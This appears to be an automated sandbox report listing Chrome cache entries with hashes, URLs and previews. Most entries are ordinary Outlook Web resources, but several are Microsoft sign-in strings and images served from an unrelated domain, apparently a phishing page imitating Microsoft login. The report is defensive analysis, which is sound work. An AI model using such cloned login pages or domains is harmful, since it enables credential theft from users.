Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (994), with no line terminators
Category:	downloaded
Size (bytes):	994
Entropy (8bit):	4.934955158256183
Encrypted:	false
SSDEEP:	12:U8Chx3fpler8DDMv1+I+zpcuVkicq32EXgBA5e2KMLT:JC3G0z1Ddf2NGe2KG
MD5:	E2110B813F02736A4726197271108119
SHA1:	D7AC10CC425A7B67BF16DDA0AAEF1FEB00A79857
SHA-256:	6D1BE7ED96DD494447F348986317FAF64728CCF788BE551F2A621B31DDC929AC
SHA-512:	E79CF6DB777D62690DB9C975B5494085C82E771936DB614AF9C75DB7CE4B6CA0A224B7DFB858437EF1E33C6026D772BE9DBBB064828DB382A4703CB34ECEF1CF
Malicious:	false
URL:	https://r4.res.office365.com/owa/prem/15.20.8137.29/resources/images/0/sprite1.mouse.css
Preview:	.image-loading_blackbg-gif{background:url('loading_blackbg.gif');width:16px;height:16px}.image-loading_whitebg-gif{background:url('loading_whitebg.gif');width:16px;height:16px}.image-thinking16_blue-gif{background:url('thinking16_blue.gif');width:16px;height:16px}.image-thinking16_grey-gif{background:url('thinking16_grey.gif');width:16px;height:16px}.image-thinking16_white-gif{background:url('thinking16_white.gif');width:16px;height:16px}.image-thinking24-gif{background:url('thinking24.gif');width:24px;height:24px}.image-thinking32_blue-gif{background:url('thinking32_blue.gif');width:32px;height:32px}.image-thinking32_grey-gif{background:url('thinking32_grey.gif');width:32px;height:32px}.image-thinking32_white-gif{background:url('thinking32_white.gif');width:32px;height:32px}.image-clear1x1-gif{width:1px;height:1px;background:url('sprite1.mouse.png') -0 -0}.csimg{padding:0;border:none;background-repeat:no-repeat;-webkit-touch-callout:none}span.csimg{-ms-high-contrast-adjust:none}

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64612)
Category:	dropped
Size (bytes):	113769
Entropy (8bit):	5.492540089333064
Encrypted:	false
SSDEEP:	1536:RS8gIRPY0+r5qnWisLTfM6tQSqLXCIIgbgZ1uXt1EN5eAfGqOD:vgDTMnWRwvDIgb0q7Eb9u
MD5:	C6C029BA88D52E5312FEC69603A00340
SHA1:	079011F6F0662C11AE907C773EFE8E0C9338EAD0
SHA-256:	DDD0BB1C19B3D2D045BFCDE85D2020BBA57854C887A6691B66DBA3DA1BB3AFBE
SHA-512:	7DF09CD949A43D53D62D9013718158966508DEC2338491FFB38DC33D2EB85FF5C699792AE578975DA0E4F03CC7EA03774624208D06924EEA4C2EAC92E6E22C60
Malicious:	false
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[37],{1373:function(e,t,

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65339), with CRLF line terminators
Category:	downloaded
Size (bytes):	662286
Entropy (8bit):	5.315860951951661
Encrypted:	false
SSDEEP:	12288:YfmmzLJTD/JilMGk4hBR310FaHHxpJy7qVfb4cSPo:Yfm+T7US7SR310FaHHTJy7qJ4rPo
MD5:	12204899D75FC019689A92ED57559B94
SHA1:	CCF6271C6565495B18C1CED2F7273D5875DBFB1F
SHA-256:	39DAFD5ACA286717D9515F24CF9BE0C594DFD1DDF746E6973B1CE5DE8B2DD21B
SHA-512:	AA397E6ABD4C54538E42CCEDA8E3AA64ACE76E50B231499C20E88CF09270AECD704565BC9BD3B27D90429965A0233F99F27697F66829734FF02511BD096CF030
Malicious:	false
URL:	https://r4.res.office365.com/owa/prem/15.20.8137.29/scripts/boot.worldwide.2.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.2.mouse.js'] = (new Date()).getTime();.._y.lC=function(){};_y.lC.registerInterface("_y.lC");_y.jw=function(){};_y.jw.registerInterface("_y.jw");_y.lA=function(){};_y.lA.registerInterface("_y.lA");var IDelayedSendEvent=function(){};IDelayedSendEvent.registerInterface("IDelayedSendEvent");var IIsShowingComposeInReadingPaneEvent=function(){};IIsShowingComposeInReadingPaneEvent.registerInterface("IIsShowingComposeInReadingPaneEvent");var ISendFailedO365Event=function(){};ISendFailedO365Event.registerInterface("ISendFailedO365Event");var ISendFailureRemoveO365Event=function(){};ISendFailureRemoveO365Event.registerInterface("ISendFailureRemoveO365Event");_y.gw=function(){};_y.gw.registerInterface("_y.gw");_y.iB=function(){};_y.iB.registerInterface("_y.iB");_y.ih=function(){};_y.ih.registerInterface("_y.ih");_y.jy=function(){};_y.jy.regis

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (32009)
Category:	downloaded
Size (bytes):	57443
Entropy (8bit):	5.372940573746363
Encrypted:	false
SSDEEP:	1536:ABqF1tlfretkF7IKbVaqDRx3D7ym+d/Px25+1wtvGixn/TPRUbx3VDg/MvA5Gl:ABrkF7IyJz7ym+d/Po5+1wtvGiJig/Ml
MD5:	D580777BB3A28B94F6F1D18EE17AEDA3
SHA1:	E78833A2DB1AA97DA3F4A1994E6AF1F0D74D7CC7
SHA-256:	81188E8A76162C79DB4A5C10AC933C9E874C5B9EAE10E47956AD9DF704E01B28
SHA-512:	E3F5FFE3E7E54A7D640DF3BC06D336C9F936635D2594159B3EA5EDAEFBA6D6774060A532E0CBE0664FDC65806BD53E9BFC19C11F7946A5E157A9EC935C564378
Malicious:	false
URL:	https://tvrcedjrhte.cpchenm.com/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_1yb3e7oii5t28dgo4xrtow2.js
Preview:	!function(e){function o(n){if(i[n])return i[n].exports;var t=i[n]={exports:{},id:n,loaded:!1};return e[n].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var i={};return o.m=e,o.c=i,o.p="",o(0)}([function(e,o,i){i(2);var n=i(1),t=i(5),r=i(6),a=r.StringsVariantId,s=r.AllowedIdentitiesType;n.registerSource("str",function(e,o){if(e.WF_STR_SignupLink_AriaLabel_Text="Create a Microsoft account",e.WF_STR_SignupLink_AriaLabel_Generic_Text="Create a new account",e.CT_STR_CookieBanner_Link_AriaLabel="Learn more about Microsoft's Cookie Policy",e.WF_STR_HeaderDefault_Title=o.iLoginStringsVariantId===a.CombinedSigninSignupV2WelcomeTitle?"Welcome":"Sign in",e.STR_Footer_IcpLicense_Text=".ICP.13015306.-10",o.oAppCobranding&&o.oAppCobranding.friendlyAppName){var i=o.fBreakBrandingSigninString?"to continue to {0}":"Continue to {0}";e.WF_STR_App_Title=t.format(i,o.oAppCobranding.friendlyAppName)}switch(o.oAppCobranding&&o.oAppCobranding.signinDescription&&(e.WF_STR_Default_Desc=o.oAppCobrand

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	232394
Entropy (8bit):	5.54543362321178
Encrypted:	false
SSDEEP:	1536:yldzLx/ivZfjbOv/LBbLeXeKEXK81KKVKKdKbSK0cKcyKf75DMkvqBCWcDAPf4bT:Ux/ivZfjbOv/LBbLMTq9cDw4bLl1We/
MD5:	AF8D946B64D139A380CF3A1C27BDBEB0
SHA1:	C76845B6FFEAF14450795C550260EB618ABD60AB
SHA-256:	37619B16288166CC76403F0B7DF6586349B2D5628DE00D5850C815D019B17904
SHA-512:	C5CFB514F993310676E834C8A5477576BD57C82A8665387F9909BA0D4C3C2DE693E738ACAA74E7B4CA20894EA2FEEA5CF9A2428767D03FE1DE9C84538FDC3EE9
Malicious:	false
URL:	https://r4.res.office365.com/owa/prem/15.20.8137.29/resources/styles/0/boot.worldwide.mouse.css
Preview:	.feedbackList{-webkit-animation-duration:.17s;-moz-animation-duration:.17s;animation-duration:.17s;-webkit-animation-name:feedbackListFrames;-moz-animation-name:feedbackListFrames;animation-name:feedbackListFrames;-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;animation-fill-mode:both}@-webkit-keyframes feedbackListFrames{from{-webkit-transform:scale(1,1);transform:scale(1,1);-webkit-animation-timing-function:cubic-bezier(.33,0,.67,1);animation-timing-function:cubic-bezier(.33,0,.67,1)}to{-webkit-transform:scale(1.03,1.03);transform:scale(1.03,1.03)}}@-moz-keyframes feedbackListFrames{from{-moz-transform:scale(1,1);transform:scale(1,1);-moz-animation-timing-function:cubic-bezier(.33,0,.67,1);animation-timing-function:cubic-bezier(.33,0,.67,1)}to{-moz-transform:scale(1.03,1.03);transform:scale(1.03,1.03)}}@keyframes feedbackListFrames{from{-webkit-transform:scale(1,1);-moz-transform:scale(1,1);transform:scale(1,1);-webkit-animation-timing-function:cubic-bezier(.33,0,.67,

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1592
Entropy (8bit):	4.205005284721148
Encrypted:	false
SSDEEP:	48:ztSAS1OtmCtc7aIVmt4yyR9S2lKUyDWwh:RoOtmCtc7aCmVQHSRh
MD5:	4E48046CE74F4B89D45037C90576BFAC
SHA1:	4A41B3B51ED787F7B33294202DA72220C7CD2C32
SHA-256:	8E6DB1634F1812D42516778FC890010AA57F3E39914FB4803DF2C38ABBF56D93
SHA-512:	B2BBA2A68EDAA1A08CFA31ED058AFB5E6A3150AABB9A78DB9F5CCC2364186D44A015986A57707B57E2CC855FA7DA57861AD19FC4E7006C2C239C98063FE903CF
Malicious:	false
URL:	https://tvrcedjrhte.cpchenm.com/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,1,19,30a10.9,10.9,0,0,1-5.547-1.5,11.106,11.106,0,0,1-2.219-1.719A11.373,11.373,0,0,1,9.5,24.547a10.4,10.4,0,0,1-1.109-2.625A11.616,11.616,0,0,1,8,19a10.9,10.9,0,0,1,1.5-5.547,11.106,11.106,0,0,1,1.719-2.219A11.373,11.373,0,0,1,13.453,9.5a10.4,10.4,0,0,1,2.625-1.109A11.616,11.616,0,0,1,19,8a10.9,10.9,0,0,1,5.547,1.5,11.106,11.106,0,0,1,2.219,1.719A11.373,11.373,0,0,1,28.5,13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.938-2.859A9.269,9.269,0,0,0,22.5,10.719,8.9,8.9,0,0,0,19,10a8.786,8.786,0,0,0-3.5.7,8.9,8.9,0,0,0-2.859,1.938A9.269,9.269,0,0,0,

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65450), with CRLF line terminators
Category:	dropped
Size (bytes):	119648
Entropy (8bit):	5.356165204896218
Encrypted:	false
SSDEEP:	3072:/Yh8eip3huuf6IidlrvakdtQ47GKvPhQDvMwFdm:/i8eGRuufsr5zQ47GKvPyDvG
MD5:	75CF78D0E38C65A538AD253CA9E48DBE
SHA1:	BF0452E4A42A9AF3B69D5D8C3A3A0433F14921B6
SHA-256:	DF2AA8537C1992C94846A0FFFFAA9031D430D9D0210B9E396EC059AFF62627E0
SHA-512:	81383E4FDAE1F34F8E652F69058D57A2A4BD0A77C2C41C3174BEE0CEBA83A8326229C2A74EAF415BFBD34382B1C442A97C41034F43CD77A391BA9B4DAAE65463
Malicious:	false
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /..!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.307354922057605
Encrypted:	false
SSDEEP:	3:8Kiun9ks:8Kiun2s
MD5:	9F9FA94F28FE0DE82BC8FD039A7BDB24
SHA1:	6FE91F82974BD5B101782941064BCB2AFDEB17D8
SHA-256:	9A37FDC0DBA8B23EB7D3AA9473D59A45B3547CF060D68B4D52253EE0DA1AF92E
SHA-512:	34946EF12CE635F3445ED7B945CF2C272EF7DD9482DA6B1A49C9D09A6C9E111B19B130A3EEBE5AC0CCD394C523B54DD7EB9BF052168979A9E37E7DB174433F64
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTA5LjAuNTQxNC4xMjASFwlj5gtmaVhIFhIFDdFbUVISBQ1Xevf9?alt=proto
Preview:	ChIKBw3RW1FSGgAKBw1Xevf9GgA=

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4, xresolution=62, yresolution=70, resolutionunit=2, software=paint.net 4.2.9], baseline, precision 8, 50x28, components 3
Category:	downloaded
Size (bytes):	987
Entropy (8bit):	6.922003634904799
Encrypted:	false
SSDEEP:	24:PJjxEK0nWpBzo0XxDuLHeOWXG4OZ7DAJuLHenX3D+VRmK9cR+w/b:lxEX4OuERAVwR/QP/b
MD5:	E58AAFC980614A9CD7796BEA7B5EA8F0
SHA1:	D4CAC92DCDE0CAF7C571E6D791101DA94FDBD2CA
SHA-256:	8B34A475187302935336BF43A2BF2A4E0ADB9A1E87953EA51F6FCF0EF52A4A1D
SHA-512:	2DAC06596A11263DF1CFAB03EDA26D0A67B9A4C3BAA6FB6129CDBF0A157C648F5B0F5859B5CA689EFDF80F946BF4D854BA2B2C66877C5CE3897D72148741FCC9
Malicious:	false
URL:	https://tvrcedjrhte.cpchenm.com/shared/1.0/content/images/appbackgrounds/49-small_2055002f2daae2ed8f69f03944c0e5d9.jpg
Preview:	......JFIF.....H.H.....fExif..MM..................>...........F.(...........1.........N.......H.......H....paint.net 4.2.9....C....................................................................C.........................................................................2..!............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......[.4..lz.....K.S..p.>.9.r9j..'.\.qrW..mo...X9ZV<./x...EX...m.Prj..A.EtG...K..mr....Lc.T.8...nlY.V.{6...R...]..(.y...)^.5V.IVO.W.B.19.R\...f.U.....'..S:..k.6..).f.n._3*....}.y.8.EusH..y.`.mA...W.}...bL..:..b.<f..(lH#R....v._...........9N~S..

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (512)
Category:	dropped
Size (bytes):	11970
Entropy (8bit):	5.416120131770621
Encrypted:	false
SSDEEP:	192:FPpd9ihiovIZwqsTh8Mi0Yl82YmYZewHe+IkA1niOpVTChGZu3PcXVstaD:ddEIyi0u82Y9ZewHPIkA1niOpVmOUPcX
MD5:	39A0EB35CD7799A181D34F4AE1DDB496
SHA1:	E933CA8534BCB6AD79D240316CE23C8B870050D0
SHA-256:	C8CEF105FCAF7CBF3F8682C861045505C24D41CF6686C20C1C03E14031A3DB69
SHA-512:	0AE990F9B57B55C3A8025BBE13C98ECD8A40C38380F9E0EFEF2BE7B418642EB040E4C537E684D2FEF7E04113450CFD4DEFF3414310773177220209991BBF1643
Malicious:	false
Preview:	/! ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------..This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise. .. json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain..Provided for Informational Purposes Only..Public Domain. .NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK..----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------ */."object"!=typeof JSON&&(JSON={}),

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64616)
Category:	dropped
Size (bytes):	449972
Entropy (8bit):	5.4486277762255035
Encrypted:	false
SSDEEP:	6144:c7PuGBhXlRK2d/ZkpZYRsmA2pmBe9OpRUS4cEHKE0H3NX446:c7DBZkp6umhpsUSuN
MD5:	2330EDFA5D02BA27B4818454A04935E7
SHA1:	405CDD0091FA7D25CE504F71086F488A6193BBD2
SHA-256:	6379D57694ECB499626F889744FB47D1979DDE32C9F95BCAF48E318642A8C292
SHA-512:	895E0ABAFD9444621E421EEEA49C722DFC4590765F7E76C1CFD38ADFA9430F03BBFEA23A37FDF8D8536DBA54ACDF315EF40224FB3D77836531016A341BC9B3D7
Malicious:	false
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function n(n){for(var t,i,o=n[0],r=n[1],s=0,c=[];s<o.length;s++)

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (32009)
Category:	dropped
Size (bytes):	57443
Entropy (8bit):	5.372940573746363
Encrypted:	false
SSDEEP:	1536:ABqF1tlfretkF7IKbVaqDRx3D7ym+d/Px25+1wtvGixn/TPRUbx3VDg/MvA5Gl:ABrkF7IyJz7ym+d/Po5+1wtvGiJig/Ml
MD5:	D580777BB3A28B94F6F1D18EE17AEDA3
SHA1:	E78833A2DB1AA97DA3F4A1994E6AF1F0D74D7CC7
SHA-256:	81188E8A76162C79DB4A5C10AC933C9E874C5B9EAE10E47956AD9DF704E01B28
SHA-512:	E3F5FFE3E7E54A7D640DF3BC06D336C9F936635D2594159B3EA5EDAEFBA6D6774060A532E0CBE0664FDC65806BD53E9BFC19C11F7946A5E157A9EC935C564378
Malicious:	false
Preview:	!function(e){function o(n){if(i[n])return i[n].exports;var t=i[n]={exports:{},id:n,loaded:!1};return e[n].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var i={};return o.m=e,o.c=i,o.p="",o(0)}([function(e,o,i){i(2);var n=i(1),t=i(5),r=i(6),a=r.StringsVariantId,s=r.AllowedIdentitiesType;n.registerSource("str",function(e,o){if(e.WF_STR_SignupLink_AriaLabel_Text="Create a Microsoft account",e.WF_STR_SignupLink_AriaLabel_Generic_Text="Create a new account",e.CT_STR_CookieBanner_Link_AriaLabel="Learn more about Microsoft's Cookie Policy",e.WF_STR_HeaderDefault_Title=o.iLoginStringsVariantId===a.CombinedSigninSignupV2WelcomeTitle?"Welcome":"Sign in",e.STR_Footer_IcpLicense_Text=".ICP.13015306.-10",o.oAppCobranding&&o.oAppCobranding.friendlyAppName){var i=o.fBreakBrandingSigninString?"to continue to {0}":"Continue to {0}";e.WF_STR_App_Title=t.format(i,o.oAppCobranding.friendlyAppName)}switch(o.oAppCobranding&&o.oAppCobranding.signinDescription&&(e.WF_STR_Default_Desc=o.oAppCobrand

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (59783), with CRLF line terminators
Category:	downloaded
Size (bytes):	663451
Entropy (8bit):	5.3635307555313165
Encrypted:	false
SSDEEP:	12288:YhqblwQ9eTw/suNyIzaJS/pWYawUWufSxwDr2o/5YP1B:Yhqblt9e8/sMzaJS/pWYawUWufSxwDrW
MD5:	761CE9E68C8D14F49B8BF1A0257B69D6
SHA1:	8CF5D714D35EFFA54F3686065CB62CCE028E2C77
SHA-256:	BEAA65AD34340E61E9E701458E2CCFF8F9073FDEBBC3593A2C7EC8AFEACB69C1
SHA-512:	CEC948666FBA0F56D3DA27A931033C3A581C9C00FEC4D3DDCF41324525B5B5321AE3AB89581ECC7F497DE85EF684AB277C8A2DB393D526416CEB76C91A1B9263
Malicious:	false
URL:	https://r4.res.office365.com/owa/prem/15.20.8137.29/scripts/boot.worldwide.0.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.0.mouse.js'] = (new Date()).getTime();../* Empty file */;Function.__typeName="Function";Function.__class=!0;Function.createCallback=function(n,t){return function(){var r=arguments.length;if(r>0){for(var u=[],i=0;i<r;i++)u[i]=arguments[i];u[r]=t;return n.apply(this,u)}return n.call(this,t)}};Function.prototype.bind=Function.prototype.bind\|\|function(n){if(typeof this!="function")throw new TypeError("bind(): we can only bind to functions");var u=Array.prototype.slice.call(arguments,1),r=this,t=function(){},i=function(){return r.apply(this instanceof t?this:n,u.concat(Array.prototype.slice.call(arguments)))};this.prototype&&(t.prototype=this.prototype);i.prototype=new t;return i};Function.createDelegate=function(n,t){return function(){return t.apply(n,arguments)}};Function.emptyFunction=Function.emptyMethod=function(){};Error.__typeNam

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 600 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	132
Entropy (8bit):	4.945787382366693
Encrypted:	false
SSDEEP:	3:yionv//thPnFuXf8Lts7CX9/gm6Kp0syxtuIdsvFQAahUMZ/jp:6v/lhPBR/C+aNuqsvFQA0UMpp
MD5:	3EDA15637AFEAC6078F56C9DCC9BBDB8
SHA1:	97B900884183CB8CF99BA069EEDC280C599C1B74
SHA-256:	68C66D144855BA2BC8B8BEE88BB266047367708C1E281A21B9D729B1FBD23429
SHA-512:	06B21827589FCAF63B085DB2D662737B24A39A697FF9138BDF188408647C3E90784B355F2B8390160CA487992C033CE735599271EE35873E1941812AB6C34B52
Malicious:	false
URL:	https://r4.res.office365.com/owa/prem/15.20.8137.29/resources/images/0/sprite1.mouse.png
Preview:	.PNG........IHDR...X..........x......sRGB.........gAMA......a.....pHYs..........o.d....IDATHK..1......Om.O ...j.a...\BW....IEND.B`.

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46591)
Category:	dropped
Size (bytes):	142373
Entropy (8bit):	5.430672928653922
Encrypted:	false
SSDEEP:	1536:PyeDWgSr6fTPRUbx3XCg/MJA5NOii5WLeVdgWLDY2Js0VgtWyTJmxyAXP3onrGG0:IgD1g/Mq5L9EveUynbBws3cDp
MD5:	92E5790F5CABAF1D58A55D832710F69C
SHA1:	BCBFE087C3BF209AE9F25A31BB72088C88FE39F1
SHA-256:	05CE18FB2BD24769A695DE335AFD0D15A0FD2D34303B1FD9396D81A8E204057C
SHA-512:	AF48F7ECF0D32E33D4F3A60ABEA407F3DC1ABEA0F9B0B335BAF38AFB444A27DC673D77498AE207BFC31DC497EFF144BE270465406B97A4A9233F31183B3574B4
Malicious:	false
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function t(t){for(var n,r,i=t[0],a=t[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65339), with CRLF line terminators
Category:	downloaded
Size (bytes):	659798
Entropy (8bit):	5.352921769071548
Encrypted:	false
SSDEEP:	12288:nEMsQrWEWbnByixmwgXZewhYcFiG4DUIxo:nEMsJpBJgHKcFQNo
MD5:	9786D38346567E5E93C7D03B06E3EA2D
SHA1:	23EF8C59C5C9AA5290865933B29C9C56AB62E3B0
SHA-256:	263307E3FE285C85CB77CF5BA69092531CE07B7641BF316EF496DCB5733AF76C
SHA-512:	4962CDF483281AB39D339A7DA105A88ADDB9C210C9E36EA5E36611D7135D19FEC8B3C9DBA3E97ABB36D580F194F1860813071FD6CBEDE85D3E88952D099D6805
Malicious:	false
URL:	https://r4.res.office365.com/owa/prem/15.20.8137.29/scripts/boot.worldwide.1.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.1.mouse.js'] = (new Date()).getTime();..;_a.d.G=function(n,t){this.b=n;this.a=t};_a.d.G.prototype={b:0,a:0};_a.fo=function(n){this.s=n};_a.fo.prototype={s:null,t:null,i:function(){return this.s.currentTarget},e:function(){return this.t?this.t.x:this.s.pageX},f:function(){return this.t?this.t.y:this.s.pageY},o:function(){return this.s.relatedTarget},b:function(){return this.s.target},n:function(){return this.s.timeStamp\|\|+new Date},a:function(){var n=this.s.which;!n&&_a.o.a().K&&this.s.type==="keypress"&&(n=this.u());return n},u:function(){return this.s.keyCode},m:function(){return this.s.originalEvent},j:function(){return this.s.type},k:function(){return this.s.originalEvent.touches},q:function(){return this.s.isDefaultPrevented()},g:function(){return this.s.shiftKey},h:function(){return _j.G.a().P?this.s.metaKey:this.s.ctrlKey},l:

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2054)
Category:	dropped
Size (bytes):	9285
Entropy (8bit):	5.397876465825329
Encrypted:	false
